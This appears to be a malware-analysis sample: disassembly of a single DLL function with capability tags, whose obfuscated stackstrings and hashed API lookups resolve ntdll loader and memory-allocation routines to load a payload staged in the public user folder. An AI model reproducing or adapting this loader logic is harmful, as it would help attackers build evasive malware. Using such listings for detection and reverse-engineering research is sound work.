Function at 0x180001d60
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x860
mov rbx, rcx
mov edi, edx
lea rcx, [rsp + 0x122]
xor esi, esi
xor edx, edx
mov r8d, 0x1fe
mov word [rsp + 0x120], si
call fcn.1800063a0
lea rcx, [rsp + 0x321]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x48], 0x63
mov byte [rsp + 0x49], 0x3a
mov byte [rsp + 0x4a], 0x5c
mov byte [rsp + 0x4b], 0x75
mov byte [rsp + 0x4c], 0x73
mov byte [rsp + 0x4d], 0x65
mov byte [rsp + 0x4e], 0x72
mov byte [rsp + 0x4f], 0x73
mov byte [rsp + 0x50], 0x5c
mov byte [rsp + 0x51], 0x70
mov byte [rsp + 0x52], 0x75
mov byte [rsp + 0x53], 0x62
mov byte [rsp + 0x54], 0x6c
mov byte [rsp + 0x55], 0x69
mov byte [rsp + 0x56], 0x63
mov byte [rsp + 0x57], 0x5c
mov byte [rsp + 0x58], sil
mov byte [rsp + 0x20], 0x63
mov byte [rsp + 0x21], 0x3a
mov byte [rsp + 0x22], 0x5c
mov byte [rsp + 0x23], 0x75
mov byte [rsp + 0x24], 0x73
mov byte [rsp + 0x25], 0x65
mov byte [rsp + 0x26], 0x72
mov byte [rsp + 0x27], 0x73
mov byte [rsp + 0x28], 0x5c
mov byte [rsp + 0x29], 0x70
mov byte [rsp + 0x2a], 0x75
mov byte [rsp + 0x2b], 0x62
mov byte [rsp + 0x2c], 0x6c
mov byte [rsp + 0x2d], 0x69
mov byte [rsp + 0x2e], 0x63
mov byte [rsp + 0x2f], 0x5c
mov byte [rsp + 0x30], 0x2a
mov byte [rsp + 0x31], 0x2e
mov byte [rsp + 0x32], sil
mov byte [rsp + 0x878], 0x74
mov byte [rsp + 0x879], 0x74
mov byte [rsp + 0x87a], 0x73
mov byte [rsp + 0x87b], sil
mov byte [rsp + 0x320], sil
call fcn.1800063a0
mov byte [rsp + 0x888], 0x6e
mov byte [rsp + 0x889], 0x74
mov byte [rsp + 0x88a], 0x64
mov byte [rsp + 0x88b], 0x6c
mov byte [rsp + 0x88c], 0x6c
mov byte [rsp + 0x88d], sil
cmp edi, 1
jne 0x180002448
xor edx, edx
mov ecx, 0x7f672f4b
call fcn.180001210
mov edx, 0xa935349
mov ecx, 0x536cd652
call section..text
mov ecx, 0x8003
call rax
mov edx, 0x5d7aaba6
mov ecx, 0x536cd652
call section..text
lea rcx, [0x180001d20]
call rax
mov edx, 0x4650882e
mov ecx, 0x536cd652
call section..text
lea rdx, [rsp + 0x120]
mov r8d, 0x104
mov rcx, rbx
call rax
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x120]
lea rdx, [rsp + 0x120]
repne scasw ax, word [rdi]
not rcx
lea r8d, [rcx + rcx - 2]
lea rcx, str.c:userspublic_thumtais2.dat
call fcn.180001c50
mov rdx, rsi
nop dword [rax]
movzx eax, byte [rsp + rdx + 0x20]
inc rdx
mov byte [rsp + rdx + 0x31f], al
test al, al
jne 0x180001f50
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x320]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x878]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180001f80
mov edx, 0x3876806e
mov ecx, 0x536cd652
call section..text
lea rdx, [rsp + 0x720]
lea rcx, [rsp + 0x320]
call rax
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180002448
mov edx, 0x69ed171f
mov ecx, 0x536cd652
call section..text
mov rcx, rdi
call rax
mov edx, 0x1e11fda
mov ecx, 0x536cd652
call section..text
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x320]
call rax
mov edx, 0x7a793610
mov ecx, 0x536cd652
call section..text
lea rdx, [rsp + 0x74c]
lea rcx, [rsp + 0x320]
call rax
lea rdx, [rsp + 0x878]
lea rcx, [rsp + 0x320]
call fcn.180001b40
mov rbx, rax
test rax, rax
je 0x180002448
mov edx, 0x7738bf37
mov ecx, 0x536cd652
call section..text
lea rcx, [rsp + 0x888]
call rax
mov byte [rsp + 0x78], 0x4c
mov byte [rsp + 0x79], 0x64
mov byte [rsp + 0x7a], 0x72
mov byte [rsp + 0x7b], 0x47
mov byte [rsp + 0x7c], 0x65
mov rdi, rax
mov byte [rsp + 0x7d], 0x74
mov byte [rsp + 0x7e], 0x50
mov byte [rsp + 0x7f], 0x72
mov byte [rsp + 0x80], 0x6f
mov byte [rsp + 0x81], 0x63
mov byte [rsp + 0x82], 0x65
mov byte [rsp + 0x83], 0x64
mov byte [rsp + 0x84], 0x75
mov byte [rsp + 0x85], 0x72
mov byte [rsp + 0x86], 0x65
mov byte [rsp + 0x87], 0x41
mov byte [rsp + 0x88], 0x64
mov byte [rsp + 0x89], 0x64
mov byte [rsp + 0x8a], 0x72
mov byte [rsp + 0x8b], 0x65
mov byte [rsp + 0x8c], 0x73
mov byte [rsp + 0x8d], 0x73
mov byte [rsp + 0x8e], sil
mov byte [rsp + 0x90], 0x4e
mov byte [rsp + 0x91], 0x74
mov byte [rsp + 0x92], 0x41
mov byte [rsp + 0x93], 0x6c
mov byte [rsp + 0x94], 0x6c
mov byte [rsp + 0x95], 0x6f
mov byte [rsp + 0x96], 0x63
mov byte [rsp + 0x97], 0x61
mov byte [rsp + 0x98], 0x74
mov byte [rsp + 0x99], 0x65
mov byte [rsp + 0x9a], 0x56
mov byte [rsp + 0x9b], 0x69
mov byte [rsp + 0x9c], 0x72
mov byte [rsp + 0x9d], 0x74
mov byte [rsp + 0x9e], 0x75
mov byte [rsp + 0x9f], 0x61
mov byte [rsp + 0xa0], 0x6c
mov byte [rsp + 0xa1], 0x4d
mov byte [rsp + 0xa2], 0x65
mov byte [rsp + 0xa3], 0x6d
mov byte [rsp + 0xa4], 0x6f
mov byte [rsp + 0xa5], 0x72
mov byte [rsp + 0xa6], 0x79
mov byte [rsp + 0xa7], sil
mov byte [rsp + 0x38], 0x4c
mov byte [rsp + 0x39], 0x64
mov byte [rsp + 0x3a], 0x72
mov byte [rsp + 0x3b], 0x4c
mov byte [rsp + 0x3c], 0x6f
mov byte [rsp + 0x3d], 0x61
mov byte [rsp + 0x3e], 0x64
mov byte [rsp + 0x3f], 0x44
mov byte [rsp + 0x40], 0x6c
mov byte [rsp + 0x41], 0x6c
mov byte [rsp + 0x42], sil
mov byte [rsp + 0x20], 0x52
mov byte [rsp + 0x21], 0x74
mov byte [rsp + 0x22], 0x6c
mov byte [rsp + 0x23], 0x49
mov byte [rsp + 0x24], 0x6e
mov byte [rsp + 0x25], 0x69
mov byte [rsp + 0x26], 0x74
mov byte [rsp + 0x27], 0x41
mov byte [rsp + 0x28], 0x6e
mov byte [rsp + 0x29], 0x73
mov byte [rsp + 0x2a], 0x69
mov byte [rsp + 0x2b], 0x53
mov byte [rsp + 0x2c], 0x74
mov byte [rsp + 0x2d], 0x72
mov byte [rsp + 0x2e], 0x69
mov byte [rsp + 0x2f], 0x6e
mov byte [rsp + 0x30], 0x67
lea rdx, [rsp + 0x78]
mov rcx, rax
mov byte [rsp + 0x31], sil
mov byte [rsp + 0xa8], 0x52
mov byte [rsp + 0xa9], 0x74
mov byte [rsp + 0xaa], 0x6c
mov byte [rsp + 0xab], 0x41
mov byte [rsp + 0xac], 0x6e
mov byte [rsp + 0xad], 0x73
mov byte [rsp + 0xae], 0x69
mov byte [rsp + 0xaf], 0x53
mov byte [rsp + 0xb0], 0x74
mov byte [rsp + 0xb1], 0x72
mov byte [rsp + 0xb2], 0x69
mov byte [rsp + 0xb3], 0x6e
mov byte [rsp + 0xb4], 0x67
mov byte [rsp + 0xb5], 0x54
mov byte [rsp + 0xb6], 0x6f
mov byte [rsp + 0xb7], 0x55
mov byte [rsp + 0xb8], 0x6e
mov byte [rsp + 0xb9], 0x69
mov byte [rsp + 0xba], 0x63
mov byte [rsp + 0xbb], 0x6f
mov byte [rsp + 0xbc], 0x64
mov byte [rsp + 0xbd], 0x65
mov byte [rsp + 0xbe], 0x53
mov byte [rsp + 0xbf], 0x74
mov byte [rsp + 0xc0], 0x72
mov byte [rsp + 0xc1], 0x69
mov byte [rsp + 0xc2], 0x6e
mov byte [rsp + 0xc3], 0x67
mov byte [rsp + 0xc4], sil
mov byte [rsp + 0x60], 0x52
mov byte [rsp + 0x61], 0x74
mov byte [rsp + 0x62], 0x6c
mov byte [rsp + 0x63], 0x46
mov byte [rsp + 0x64], 0x72
mov byte [rsp + 0x65], 0x65
mov byte [rsp + 0x66], 0x65
mov byte [rsp + 0x67], 0x55
mov byte [rsp + 0x68], 0x6e
mov byte [rsp + 0x69], 0x69
mov byte [rsp + 0x6a], 0x63
mov byte [rsp + 0x6b], 0x6f
mov byte [rsp + 0x6c], 0x64
mov byte [rsp + 0x6d], 0x65
mov byte [rsp + 0x6e], 0x53
mov byte [rsp + 0x6f], 0x74
mov byte [rsp + 0x70], 0x72
mov byte [rsp + 0x71], 0x69
mov byte [rsp + 0x72], 0x6e
mov byte [rsp + 0x73], 0x67
mov byte [rsp + 0x74], sil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x90]
mov rcx, rdi
mov qword [rsp + 0xe0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x38]
mov rcx, rdi
mov qword [rsp + 0xe8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov qword [rsp + 0xf0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0xa8]
mov rcx, rdi
mov qword [rsp + 0xf8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x60]
mov rcx, rdi
mov qword [rsp + 0x100], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [rbx]
mov qword [rsp + 0x118], rsi
mov qword [rsp + 0x108], rax
lea rax, [rcx + rbx + 8]
mov qword [rsp + 0xd0], rax
mov eax, dword [rcx + rbx + 4]
mov dword [rsp + 0xd8], eax
lea rcx, [rsp + 0xd0]
call fcn.180001650
lea r11, [rsp + 0x860]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret